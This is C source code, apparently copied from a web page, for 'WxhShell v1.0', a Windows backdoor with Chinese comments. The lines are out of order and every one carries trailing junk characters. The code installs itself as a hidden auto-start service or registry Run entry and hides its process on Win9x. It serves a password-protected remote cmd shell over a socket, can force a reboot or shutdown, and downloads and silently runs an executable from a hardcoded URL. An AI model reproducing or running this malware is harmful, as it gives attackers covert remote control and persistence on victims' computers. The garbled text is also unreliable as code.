    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @!*I mNMI  
    if(Boot(SHUTDOWN)) 0.&-1pw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;!B,P-Z"g  
    else { bb}Fu/S  
    closesocket(wsh); _Mi*Fvj  
    ExitThread(0); > .K  
    } 9h"3u;/,  
    break; \.]C`ocD  
    } h\4enu9[RL  
  // 获取shell z,RjQTd  
  case 's': { fW$1f5g"  
    CmdShell(wsh); K.Y.K$NjP{  
    closesocket(wsh); ]4B&8n!  
    ExitThread(0); RBpv40n0  
    break; zFr#j~L"  
  } v}.~m)  
  // 退出 Lb~' I=9D  
  case 'x': { $mxl&Qr>Q;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $ncP#6  
    CloseIt(wsh); XrJLlH>R4  
    break; ) 3ZkKv;zY  
    } a28`)17z  
  // 离开 [&)*jc16  
  case 'q': { @+sYwlA~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I7+yu>  
    closesocket(wsh); -YS9u [   
    WSACleanup(); 7w}]9wCN?  
    exit(1); W^i[7 r  
    break; Nk<H=kw+  
        } juQ?k xOB  
  } yJdkDVxYr  
  } h*?]A  
fs2y$HN  
  // 提示信息 ,WE2MAjhT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1]&{6y  
} 4MoxP  
  } C8y[B1Y  
4!A(7 s4t  
  return; 19i=kdH  
} 4$+/7I \  
R] l2,0:  
// shell模块句柄 or(P?Ro  
int CmdShell(SOCKET sock) -HRa6  
{ Q zY5S0  
STARTUPINFO si; 2]Ei4%jo  
ZeroMemory(&si,sizeof(si)); $U'*}S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VuuF _y;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oGL2uQXX  
PROCESS_INFORMATION ProcessInfo; l - ~PX  
char cmdline[]="cmd"; 'OU`$K7n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); S_;m+Ytg  
  return 0; \*Z:w3;r  
} 5k;}I|rg%  
n`D-?]*  
// 自身启动模式 m,Mg  
int StartFromService(void) 2^)_XVX1  
{ -kb;h F}.  
typedef struct rnC<(f22  
{ C|RC9b  
  DWORD ExitStatus; cXNR<`   
  DWORD PebBaseAddress; |N|[E5Cn  
  DWORD AffinityMask; - H`, ` #{  
  DWORD BasePriority; j rg B56LL  
  ULONG UniqueProcessId; OpmPw4?}  
  ULONG InheritedFromUniqueProcessId; OG^#e+  
}   PROCESS_BASIC_INFORMATION; K<v:RbU|[1  
= cI> {  
PROCNTQSIP NtQueryInformationProcess; [x0*x~1B  
w}U'>fj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cRSgP{hy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %F(lq*8X  
<FwAV=}6p  
  HANDLE             hProcess; 4+Y9":<  
  PROCESS_BASIC_INFORMATION pbi; SKo*8r   
 5s<.qDc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N~DO_^  
  if(NULL == hInst ) return 0; C\* 0621  
OKnpG*)u=g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2 ;Q|h$ n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hi&bNM>?O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 54Vb[;`Kkb  
n66b(6"mO2  
  if (!NtQueryInformationProcess) return 0; UW&K\P  
Mr@{3do$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~sTn?~  
  if(!hProcess) return 0; oot kf=  
1$ENNq#0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  kZ=yb-~  
K*5Ij]j&  
  CloseHandle(hProcess); Y r8gKhv W  
S^r[%l<'n  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .]/k#Hv  
if(hProcess==NULL) return 0; W,.Exh  
c#a>> V  
HMODULE hMod; (]$&.gE.F  
char procName[255]; Fyc":{Jd  
unsigned long cbNeeded; pz]KUQ  
F 7X ] h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9Yji34eDZ  
=g)SZK  
  CloseHandle(hProcess); B \.0 5<  
US&:UzI.  
if(strstr(procName,"services")) return 1; // 以服务启动 ]T%wRd5&-  
/brHB @$  
  return 0; // 注册表启动 'Ecd\p  
} y7LM}dH#m  
LHs^Xo18  
// 主模块 _ !k\~4U  
int StartWxhshell(LPSTR lpCmdLine) A6#v6iT  
{ DS7Pioa86  
  SOCKET wsl; J74kK#uF=  
BOOL val=TRUE; R".*dC,0'B  
  int port=0; [k=LX+w@  
  struct sockaddr_in door; Kk>va->R  
#^w8Y'{?  
  if(wscfg.ws_autoins) Install(); =!=DISPo  
D;Y2yc[v  
port=atoi(lpCmdLine); sbV_h;<  
g8]$BhRIfr  
if(port<=0) port=wscfg.ws_port; BWzo|isv  
GX N:=  
  WSADATA data; $~r=I[5'(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XW*d\vDun  
l'?(4 N  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   , 1il&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FwDEYG  
  door.sin_family = AF_INET; .FvIT] k-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IDp2#qg_  
  door.sin_port = htons(port); hlHle\[ds  
gO bP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kj`h{Wc[)  
closesocket(wsl); T>m|C}yy  
return 1; oi%IHX(`  
} xgWVxX^)  
D}?JX5.  
  if(listen(wsl,2) == INVALID_SOCKET) { wArzMt}[  
closesocket(wsl); OJs s  
return 1; _j]vR  
} _+qtH< F/  
  Wxhshell(wsl); V/J-zH&  
  WSACleanup(); A~8-{F 31  
!-8y;,P  
return 0; 0~ cbB  
}QJ6"s  
} sDXQ{*6a  
D#11 N^-K  
// 以NT服务方式启动 |k)Nf+(}W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k'K 1zUBj  
{ }nWW`:t kx  
DWORD   status = 0; W<H<~wf#  
  DWORD   specificError = 0xfffffff; #a!qJeWm0  
K}Lu1:~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Sp@{5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S~{ }j vc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /?:q9Wy  
  serviceStatus.dwWin32ExitCode     = 0; sB<y(}u  
  serviceStatus.dwServiceSpecificExitCode = 0; CjU?3Ag  
  serviceStatus.dwCheckPoint       = 0; oTf^-29d  
  serviceStatus.dwWaitHint       = 0; |]OI)w*  
,h'omU7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8LlWXeD9  
  if (hServiceStatusHandle==0) return; {Lvta4}7(  
D__*?frWpW  
status = GetLastError(); {y|j**NZ  
  if (status!=NO_ERROR) n)rSgzI  
{ ^%/d]Zwb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b+THn'2  
    serviceStatus.dwCheckPoint       = 0; 8-q4'@(  
    serviceStatus.dwWaitHint       = 0; k; vhQ=  
    serviceStatus.dwWin32ExitCode     = status; 7G23D  
    serviceStatus.dwServiceSpecificExitCode = specificError; TL([hR _  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9w$+Qc  
    return; M;E$ ]Z9  
  } iuEQ?fp  
d'b q#r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %~qY\>  
  serviceStatus.dwCheckPoint       = 0; &(A'uX.>pr  
  serviceStatus.dwWaitHint       = 0; EV N:3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5}`e"X  
} MW)=l | G  
?yAjxoE~?  
// 处理NT服务事件,比如:启动、停止 eed!SmP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $~:|Vj5iZ\  
{ `MXGEJF  
switch(fdwControl) <_-8)abK  
{ IHj9n>c)[  
case SERVICE_CONTROL_STOP: r~T3Ieb  
  serviceStatus.dwWin32ExitCode = 0; 41\V;yib  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1lf]}V  
  serviceStatus.dwCheckPoint   = 0; rTM0[2N  
  serviceStatus.dwWaitHint     = 0; o`\@Yq$.  
  { (?~*.g!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [2nPr^  
  } (J`EC  
  return; Eo_; N c  
case SERVICE_CONTROL_PAUSE: %o#|zaK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u$mp%d8  
  break; *x&y24  
case SERVICE_CONTROL_CONTINUE: iFaC[(1@a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; go5l<:9  
  break; BY??X=  
case SERVICE_CONTROL_INTERROGATE: S$ 91L  
  break; Z;J{&OJ3qM  
}; (c9!:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @]B 7(j<'R  
} C9E@$4*  
Ozs&YZ  
// 标准应用程序主函数 >A1;!kGE#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @8V~&yqq  
{ gR8vF  
L@8C t  
// 获取操作系统版本  WfkP  
OsIsNt=GetOsVer(); X1Y+ao1)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $Z4IPs  
W&Kjh|[1QZ  
  // 从命令行安装 "6o5x&H  
  if(strpbrk(lpCmdLine,"iI")) Install(); C/A~r  
#nJ&`woZt  
  // 下载执行文件 Ixv/xI  
if(wscfg.ws_downexe) { -gb'DN1BG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T>pz?e^5&  
  WinExec(wscfg.ws_filenam,SW_HIDE); !<j)D_  
} '1Q [&  
=bB7$#al  
if(!OsIsNt) { 73kL>u  
// 如果时win9x,隐藏进程并且设置为注册表启动 GYN Lyd)  
HideProc(); ?$AWY\  
StartWxhshell(lpCmdLine); ~[4zm$R^  
}  g=x1}nm  
else [;hCwj#  
  if(StartFromService()) SDICN0X*  
  // 以服务方式启动 Y!lc/[8  
  StartServiceCtrlDispatcher(DispatchTable); 5 _ a-nWQ  
else j-wz7B  
  // 普通方式启动 JM Ikr9/$  
  StartWxhshell(lpCmdLine); S*?x|&a  
RaLc}F)9   
return 0; @2)ImgK[  
} ^Ts8nOGMh  
J9yB'yE8  
?u_O(eg  
#Vh$u%q3  
=========================================== ~F=,)GE  
Z|qUVD5Ic  
cp<jwcc!  
9aZ^m$tAt  
}uk]1M2=  
lF.yQ  
" !0 -[}vvU  
'7TT4~F  
#include <stdio.h> d3K-|  
#include <string.h> keL!;q|r-)  
#include <windows.h> ?tFsSU  
#include <winsock2.h> .q9wyVi7GI  
#include <winsvc.h> ~Y'j8W  
#include <urlmon.h> YR}By;Bq  
L% ?3VW  
#pragma comment (lib, "Ws2_32.lib") ##clReS  
#pragma comment (lib, "urlmon.lib") XbKNH>  
Ba /^CS  
#define MAX_USER   100 // 最大客户端连接数 JLH,:2  
#define BUF_SOCK   200 // sock buffer YN 31Lo  
#define KEY_BUFF   255 // 输入 buffer )NCkq~M  
'ai!6[|SD  
#define REBOOT     0   // 重启 DX%D8atrr  
#define SHUTDOWN   1   // 关机 SHT^Etri  
<P4*7:jX  
#define DEF_PORT   5000 // 监听端口 f!aE/e\  
Qv>rww]  
#define REG_LEN     16   // 注册表键长度 , 1` -u$  
#define SVC_LEN     80   // NT服务名长度 N_),'2  
Ig M_l=  
// 从dll定义API F(#~.i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AV*eGzz`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m5rJY/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !_SIq`5]@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;l>C[6]  
bem-T`>'  
// wxhshell配置信息 7JHS8C<]  
struct WSCFG { Kk_h&by?  
  int ws_port;         // 监听端口 }MV=I$S2U  
  char ws_passstr[REG_LEN]; // 口令 Ar VNynQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8  }(ul  
  char ws_regname[REG_LEN]; // 注册表键名 s/J/kKj*s  
  char ws_svcname[REG_LEN]; // 服务名 7f\@3r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A T'P=)F@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2>!? EIE7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,,KGcDBj  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -S,xR5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !@vM@Z"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {-?8r>  
&\/b(|>  
}; 8x9$6HO  
{IpIQ-@l  
// default Wxhshell configuration e=%6\&q  
struct WSCFG wscfg={DEF_PORT, `[zd  
    "xuhuanlingzhe", ]~A<Q{  
    1, ZT'Sw%U:  
    "Wxhshell", X0"f>.Lg  
    "Wxhshell", hpVu   
            "WxhShell Service", Qo;#}%}^^  
    "Wrsky Windows CmdShell Service", x3++JG  
    "Please Input Your Password: ", bR;Zc  
  1, C5^eD^[c  
  "http://www.wrsky.com/wxhshell.exe", `DPR >dd@  
  "Wxhshell.exe" ko%B`  
    }; $ZOKB9QccC  
(66DKG   
// 消息定义模块 p&#*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Y!tjaL 9D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >&3ATH;&(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OK^0,0kS3  
char *msg_ws_ext="\n\rExit."; bb^$]lT'  
char *msg_ws_end="\n\rQuit."; P.;S6i n  
char *msg_ws_boot="\n\rReboot..."; e;/C}sK:  
char *msg_ws_poff="\n\rShutdown..."; \"u3 x.!  
char *msg_ws_down="\n\rSave to "; f!"Y"g:@E  
Ft)Z'&L   
char *msg_ws_err="\n\rErr!"; _%$(D"^j  
char *msg_ws_ok="\n\rOK!"; Y[yw8a  
/-W-MP=Wd  
char ExeFile[MAX_PATH]; > \KVg(?D  
int nUser = 0; FTg4i\Wp  
HANDLE handles[MAX_USER]; ,LHQ@/}A C  
int OsIsNt; mzX <!  
GqrOj++>  
SERVICE_STATUS       serviceStatus; A|esVUo<3^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9IRvbE~2  
_\tGmME37  
// 函数声明 GK/Q]}Q8pZ  
int Install(void); U8 b1 sz  
int Uninstall(void); J '^xDIZX  
int DownloadFile(char *sURL, SOCKET wsh); *KXg;777  
int Boot(int flag); 8uO@S*)0  
void HideProc(void); qWzzUM1=  
int GetOsVer(void); l^IPN 'O@  
int Wxhshell(SOCKET wsl); {vJ)!'Eh  
void TalkWithClient(void *cs); _>moza  
int CmdShell(SOCKET sock); 7Z;w<b~  
int StartFromService(void); @-ma_0cZQ  
int StartWxhshell(LPSTR lpCmdLine); /@.c 59r  
Q:x:k+O-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~BVK6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h!*++Y?&0  
WSY&\8   
// 数据结构和表定义 -|DSfI#j  
SERVICE_TABLE_ENTRY DispatchTable[] = @M V%&y*z.  
{ PZdYkbj  
{wscfg.ws_svcname, NTServiceMain}, epH48)2  
{NULL, NULL} .2b) rKo~  
}; GD$jP?  
P9p{j1*;  
// 自我安装 g1uqsqYt  
int Install(void) '1}rQqZ  
{ A!kNqJ2  
  char svExeFile[MAX_PATH]; YORFq9a{R  
  HKEY key; Rro{A+[,X  
  strcpy(svExeFile,ExeFile); yt&eY6Xp  
x,Cc$C~YP  
// 如果是win9x系统,修改注册表设为自启动 `FImi9%F  
if(!OsIsNt) { e<> Lr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B=;pyhc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =oF6|\]{ ;  
  RegCloseKey(key); ZHs hg`I`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Te8BFcJG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); id-VoHd K  
  RegCloseKey(key); MGO.dRy_  
  return 0; c#G]3vTdE  
    } s'^zudx  
  } ;!@\|E  
} ~?}/L'q!b  
else { (/_Q r2KfC  
P#H#@:/3  
// 如果是NT以上系统,安装为系统服务 gKZ{O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |<.b:e\4  
if (schSCManager!=0) {/BEO=8q2  
{ R0<ka[+  
  SC_HANDLE schService = CreateService n;"4`6L~  
  ( z#!xqIg0  
  schSCManager, vtFA#})~  
  wscfg.ws_svcname, 9xg_M=72  
  wscfg.ws_svcdisp, 2`* %NJ  
  SERVICE_ALL_ACCESS, x~GV#c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , s9A'{F  
  SERVICE_AUTO_START, er5}=cFZ  
  SERVICE_ERROR_NORMAL,  =&fBmV  
  svExeFile, mm=Y(G[_%y  
  NULL, ucj)t7O   
  NULL, %6 <Pt  
  NULL, O#7ldF(  
  NULL, 2t { Cpw  
  NULL s8|#sHT  
  ); UBRMV s  
  if (schService!=0) e>t9\vN#bx  
  { N,ik&NIWy  
  CloseServiceHandle(schService);  FZ>*<&  
  CloseServiceHandle(schSCManager); vc2xAAQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7/vr!tbL`p  
  strcat(svExeFile,wscfg.ws_svcname); ?E2k]y6<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^BM/K&7^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %:o@IRTRU  
  RegCloseKey(key); +^+wS`Y  
  return 0; (W/jkm  
    } 2al~`  
  } >V(2Ke Y  
  CloseServiceHandle(schSCManager); ke>\.|HT}  
} 1TQ $(bI  
} Kc udWW]  
tL+8nTL  
return 1; z s"AYxr  
} pOI+  
`Ik}Xw  
// 自我卸载 VP4t~$"  
int Uninstall(void) |->y'V  
{ Q]xW}5 /  
  HKEY key; QBsDO].J<  
w#mnGD  
if(!OsIsNt) { sW2LNE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |V 9%@ Y?  
  RegDeleteValue(key,wscfg.ws_regname); ,H[AC}z2X  
  RegCloseKey(key); 0D#!!r ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &`L5UX  
  RegDeleteValue(key,wscfg.ws_regname); s*CKFEb#  
  RegCloseKey(key); K=5_jE^e  
  return 0; vB4cdW 2#3  
  } ap%o\&T;  
} ]bnxOk  
} Ql*/{#$  
else { z3*G(,  
=w A< F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0v7;Z xD  
if (schSCManager!=0) 2K*-uT#$~  
{ IVNNiNN*5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); paBGJ~{=  
  if (schService!=0) el|t6ZT*  
  { ~POeFZ  
  if(DeleteService(schService)!=0) { ^}1RDdQ"U  
  CloseServiceHandle(schService); oh@r0`J]x  
  CloseServiceHandle(schSCManager); 3`9*Hoy0c  
  return 0; PYHm6'5BtB  
  } $PS5xD~@  
  CloseServiceHandle(schService); b"FsT  
  } ,t+ATaOF  
  CloseServiceHandle(schSCManager); r3j8[&B"  
} Zc4hjg  
} "}HQ)54&  
^LU[{HZV  
return 1; Gm2rjpZeq  
} (Z"Xp{u  
~$\j$/A8/  
// 从指定url下载文件 1UM]$$:i  
int DownloadFile(char *sURL, SOCKET wsh) .V.N^8(:a  
{ dY-a,ch"8p  
  HRESULT hr; >Au<y,Tw  
char seps[]= "/"; 78QFaN$  
char *token; ?3Jh{F_+  
char *file; 2mlE;.}8  
char myURL[MAX_PATH]; $GO'L2oLwn  
char myFILE[MAX_PATH]; ^p7(  
rbtV,Y  
strcpy(myURL,sURL); 4P~<_]yf  
  token=strtok(myURL,seps); \~)573'  
  while(token!=NULL) GO)rpk9  
  { /MU<)[*Ro  
    file=token; >(*jbL]p  
  token=strtok(NULL,seps); f<;9q?0VF  
  } kx=AX*I  
4a @iR2e  
GetCurrentDirectory(MAX_PATH,myFILE); twu6z5<!-=  
strcat(myFILE, "\\"); ppnj.tLz;r  
strcat(myFILE, file); p 5o;Rvr  
  send(wsh,myFILE,strlen(myFILE),0); 8_,ZJ9l ;  
send(wsh,"...",3,0); V[xy9L[#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }[DAk~  
  if(hr==S_OK) G2^DukK.  
return 0; VDPN1+1*  
else }1W$9\%  
return 1; y*(YZzF  
]s -6GT  
} K`X2N  
#`fT%'T!  
// 系统电源模块 |@g1|OWd|  
int Boot(int flag) 5->PDp  
{ OX`n`+^D  
  HANDLE hToken; 6+u'Tcb  
  TOKEN_PRIVILEGES tkp; d$TW](Bby  
~JNuy"8  
  if(OsIsNt) { PW`Tuj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jFXU xf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Na6z,TW  
    tkp.PrivilegeCount = 1; YiCDV(prT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ B9=v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  j%}Jl  
if(flag==REBOOT) { xKr,XZu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `SwnKg  
  return 0; op-#Ig$#  
} 6-=_i)kzq  
else { r9Z/y*q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) uf^:3{1  
  return 0; CN=&Je%I  
} dvD<>{U,8  
  } .HBvs=i  
  else { cMl%)j-  
if(flag==REBOOT) { >&&xJ5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]p!J]YV ]0  
  return 0; ,2TqzU;  
} jVINc=o  
else { RF)B4D-W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u,m-6@ il  
  return 0; '| }}o g  
} +I<Sq_-  
} <yS"c5D6  
V</T$V$  
return 1; "AouiZkh  
} psC7I E<v  
aHC;p=RQ\A  
// win9x进程隐藏模块 \vsrBM  
void HideProc(void) #'x?) AS  
{ 3- bcY4  
\=7=>x_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kkBU<L2  
  if ( hKernel != NULL ) l,u{:JC  
  { V@:=}*E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  ^qqHq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yd;r8rN  
    FreeLibrary(hKernel); q=Yerp3~  
  } AfN   
f^4*.~cB  
return; d5y2Y/QO  
} C[nr>   
? SP7vQ/  
// 获取操作系统版本 9Nu#&_2R  
int GetOsVer(void) |V\.[F2Fe  
{ *'YNRM\}  
  OSVERSIONINFO winfo; 1ckw[0d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;CMC`h9,  
  GetVersionEx(&winfo); 23$hwr&G\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |u"R(7N*  
  return 1;  #>jH[Q  
  else 8MeXVhM  
  return 0; gVU\^KN]  
} pMp9 O/u%  
3Z:!o$  
// 客户端句柄模块 htYrv5q=M  
int Wxhshell(SOCKET wsl) -Y=c g;  
{ |/^aL j^u  
  SOCKET wsh; 1vs>2` DLa  
  struct sockaddr_in client; W lQ=CRY  
  DWORD myID; Kw0V4UF  
0~b6wuFl  
  while(nUser<MAX_USER) !7`=rT&  
{ j' KobyX<  
  int nSize=sizeof(client); hS{ *l9v7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eBTedSM?t  
  if(wsh==INVALID_SOCKET) return 1; 7(8  
%C6zXiO"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '&:x_WwVrO  
if(handles[nUser]==0) G=!bM(]R~  
  closesocket(wsh); ;9p5YxD  
else 'eDgeWt/CQ  
  nUser++; (l8r>V  
  } &IEBZB\/+&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T{4fa^c2J  
1+tt'  
  return 0; R}X_2""  
} jjwMvf.R  
]a!; `m$  
// 关闭 socket T:%wX9W  
void CloseIt(SOCKET wsh) PnIvk]"Ab  
{ #D/ }u./  
closesocket(wsh); uU(G_E ?  
nUser--; :.[5('  
ExitThread(0); |vDoqlW  
} ws2 j:B  
ENXW#{N.v  
// 客户端请求句柄 6a]f&={E  
void TalkWithClient(void *cs) oB06{/6  
{ 0/P-> n~  
W|rFl]~a  
  SOCKET wsh=(SOCKET)cs; 5;MK1l  
  char pwd[SVC_LEN]; [{p?BTs  
  char cmd[KEY_BUFF]; -)a_ub  
char chr[1]; 8pL>wL &C  
int i,j; Ky9No"o  
XBWSO@M'  
  while (nUser < MAX_USER) { O4d^ig-xaH  
xDA,?i;T 0  
if(wscfg.ws_passstr) { f+TBs_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z?uQlm*We  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aRO_,n9  
  //ZeroMemory(pwd,KEY_BUFF); }:9|*m<$t  
      i=0; ?sf2h:\N  
  while(i<SVC_LEN) { oj(A`[  
D*T$ v   
  // 设置超时 wdcryejCkr  
  fd_set FdRead; h/0-Mrk;e  
  struct timeval TimeOut; lmtQr5U  
  FD_ZERO(&FdRead); z@l!\m-  
  FD_SET(wsh,&FdRead); C+(Gg^ w  
  TimeOut.tv_sec=8; Z>Kcz^a#  
  TimeOut.tv_usec=0; .)^3t ~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _/%]:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FQ|LA[~  
n?e@):  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o eJC  
  pwd=chr[0]; Z!RRe]"y  
  if(chr[0]==0xd || chr[0]==0xa) { `YmI'  
  pwd=0; !/Bw,y ri<  
  break; K!- &Zv  
  } %YvSHh;c  
  i++; 4&]To@>  
    } z)W#&JFF  
-4y)qGb*?  
  // 如果是非法用户,关闭 socket !: EW21m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lQ<#jxp  
} tU)r[2H2  
}OP%p/eY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WrHgF*[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i_9Cc$Qh<  
9B#)h)h(=  
while(1) { CdzkMVH  
+1+A3  
  ZeroMemory(cmd,KEY_BUFF); =2g[tsY  
=JbdsYI(  
      // 自动支持客户端 telnet标准   Qor{1_h)+9  
  j=0; R(/[NvUb  
  while(j<KEY_BUFF) { 71 L\t3fG  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c5iormb"#  
  cmd[j]=chr[0]; m.HX2(&\3  
  if(chr[0]==0xa || chr[0]==0xd) { -@ UN]K  
  cmd[j]=0; k;K> ,$ F  
  break; K.#,O+-Kg`  
  } / UaNYv/  
  j++; C6D=>%uY  
    } ^`TKvcgIc  
3D$\y~HU  
  // 下载文件 0+n&BkS'  
  if(strstr(cmd,"http://")) { 7SA-OFM  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c_-" Qo  
  if(DownloadFile(cmd,wsh)) , Y g5X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DX&lBV  
  else zO).<xIq+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A4#3O5kij  
  } O{")i;v @  
  else { y?Hj %,  
